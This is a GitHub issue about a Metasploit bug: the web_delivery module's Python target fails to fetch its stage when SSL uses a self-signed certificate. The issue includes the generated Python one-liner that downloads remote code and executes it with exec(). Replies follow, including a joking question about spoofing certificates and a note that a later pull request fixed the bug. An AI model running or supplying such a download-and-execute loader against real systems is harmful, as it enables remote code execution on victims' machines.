Metasploit-framework: web_delivery: Python target does not work with SSL enabled with default self-signed certificate

[cnotin]

Steps to reproduce

1. use exploit/multi/script/web_delivery
2. Exploit target is 0-Python by default
3. set SSL true
4. set LHOST 127.0.0.1
5. Observe the generated command to run:
   python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('https://127.0.0.1:8080/kqC9bTD');exec(r.read());"
6. Run command on target system (localhost here)

Expected behavior

The download of the Python stage succeeds thanks to disabled certificate validation.
The necessary code to disable it is present in the Python reverse_http stager:
https://github.com/rapid7/metasploit-framework/blob/82c77a4ec8fc251bfa0f7742819388dc14b67026/lib/msf/core/payload/python/reverse_http.rb#L92-L100

However, it is missing in the web_delivery downloader:
https://github.com/rapid7/metasploit-framework/blob/6df148c2da00d6c56a408d036d0641607aa4c86c/modules/exploits/multi/script/web_delivery.rb#L123

Current behavior

The download of the Python stage fails because of self-signed certificate:

ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate (_ssl.c:1076)

Suggestion

I suggest factoring the command line generation code between lib/msf/core/payload/python/reverse_http.rb and modules/exploits/multi/script/web_delivery.rb
Similar to PowerShell which uses Rex::Powershell::PshMethods.download_run to generate the command line

System stuff

Metasploit version

Framework: 5.0.62-dev
Console : 5.0.62-dev

I installed Metasploit with:

Kali rolling package

[wvu-r7]

The whole module needs an update/rewrite.

[BlackEagle-AD]

I'm new here, literally first bug I've viewed. Going out on a branch here, but how about using a certified SSL certificate? Or set SSL to false? Now I feel like a newbie, because it's obvious to simple of a suggestion.

[BlackEagle-AD]

and such a white hat new to the game... better question. How to spoof a trusted certificate server? :D

[timwr]

This was fixed by https://github.com/rapid7/metasploit-framework/pull/12799